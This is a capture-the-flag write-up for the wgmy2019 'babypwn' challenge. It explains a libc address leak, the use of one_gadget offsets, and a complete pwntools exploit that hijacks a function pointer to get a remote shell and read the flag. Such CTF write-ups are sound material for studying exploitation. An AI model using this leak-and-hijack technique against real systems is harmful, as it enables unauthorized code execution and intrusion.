babypwn (pwn)

Nothing else, just

nc 45.76.161.20 19509

babypwn

The pseudocode of the program looks like this

void main(void)
{
  code *fptr;
  
  leak_memory(1,&stdout,4,0xcafebabe,0xdeadbeef,1,3,3,7);
  scanf("%d",&fptr);
  (*fptr)(0xdeadbeef);
  return;
}

void leak_memory(int a, char* b, int c, int d, int e, int f, int g, int h, int i) {
    write(a, b, c);
}

So thanks to leak_memory, we have the address of _IO_2_1_stdout. This can be confirmed by reading the 4 bytes printed to the output, then converting it to integer and checking it in gdb.

from pwn import *

r = process("./babypwn")
leak = u32(r.recv(4))
libc_base = leak
log.info(hex(leak))
pause()

script

➤ python xpl.py
[+] Starting local process './babypwn': pid 8031
[*] 0xf76e2d80
[*] Paused (press any to continue)

gdb

gef➤  attach 8031
...
gef➤  xinfo 0xf76e2d80
──────────────── xinfo: 0xf76e2d80 ────────────────────────────────────────────
Page: 0xf76e2000  →  0xf76e3000 (size=0x1000)
Permissions: rw-
Pathname: /lib/i386-linux-gnu/libc-2.27.so
Offset (from page): 0xd80
Inode: 1846505
Segment: .data (0xf76e2040-0xf76e2ef4)
Symbol: _IO_2_1_stdout_
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/ctfs/wgmy2019/babypwn/babypwn
0x08049000 0x0804a000 0x00000000 r-- /root/ctfs/wgmy2019/babypwn/babypwn
0x0804a000 0x0804b000 0x00001000 rw- /root/ctfs/wgmy2019/babypwn/babypwn
0x0851a000 0x0853c000 0x00000000 rw- [heap]
0xf750a000 0xf76df000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
0xf76df000 0xf76e0000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so
0xf76e0000 0xf76e2000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so
0xf76e2000 0xf76e3000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so
0xf76e3000 0xf76e6000 0x00000000 rw-
0xf76f2000 0xf76f4000 0x00000000 rw-
0xf76f4000 0xf76f6000 0x00000000 r-- [vvar]
0xf76f6000 0xf76f7000 0x00000000 r-x [vdso]
0xf76f7000 0xf771d000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so
0xf771d000 0xf771e000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so
0xf771e000 0xf771f000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so
0xffdda000 0xffdfb000 0x00000000 rw- [stack]

Knowing the address of _IO_2_1_stdout means we can subtract the offset (0xd80 + 0x1d8000) to know the address of libc. 0xd80 is obtained from the output of xinfo. 0x1d8000 is obtained from 0xf76e2000-0xf750a000 because 0xd80 is the offset from 0xf76e2000 while 0xf750a000 is the actual start of libc.

libc_base = leak - 0xd80 - 0x1d8000
log.info("Leaked: " + hex(libc_base))

Next the scanf allows us to write into the variable fptr. This is the address of the function that will be called next. Because ultimately we want a shell to gain access to the server, the one_gadget tool is very helpful to find addresses in a binary that when executed will give a shell.

It is always possible to find such address in libc because it is so big, so just need to run one_gadget on it to get the list of possible offsets.

➤ cp /lib/i386-linux-gnu/libc-2.27.so .
➤ one_gadget libc-2.27.so
0x3d0d3	execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x3d0d5	execve("/bin/sh", esp+0x38, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x38] == NULL

0x3d0d9	execve("/bin/sh", esp+0x3c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x3c] == NULL

0x3d0e0	execve("/bin/sh", esp+0x40, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x40] == NULL

0x67a7f	execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x67a80	execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

0x137e5e	execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x137e5f	execl("/bin/sh", [esp])
constraints:
  ebx is the GOT address of libc
  [esp] == NULL

Trying a few of them, I get (libc_base+0x3d0d5) that works. Oh also, to properly write the address using scanf, we need to pass in addresses higher than 0x7fffffff as a negative number otherwise it will just be capped at 0x7fffffff.

This offset may work on my machine but may not on the server because the libc versions may be different. If it doesn’t then I will need to download other libc versions and try different offsets. But nevermind, it worked on first try.

from pwn import *

# r = process("./babypwn")
r = remote("45.76.161.20", 19509)

# get leaked _IO_2_1_stdout and libc base
leak = u32(r.recv(4))
libc_base = leak - 0xd80 - 0x1d8000
log.info("Leaked: " + hex(libc_base))

# input address to get shell
sh = libc_base + 0x3d0d5
log.info("Shell: " + hex(sh))
sh = -(2**32 - sh) if sh > 0x7fffffff else sh
r.sendline(str(sh))

r.interactive()
➤  python xpl.py
[+] Opening connection to 45.76.161.20 on port 19509: Done
[*] Leaked: 0xf7dad000
[*] Shell: 0xf7dea0d5
[*] Switching to interactive mode
$ cat flag.txt
wgmy{b20208102bc4242bb10197edec8f3bb9}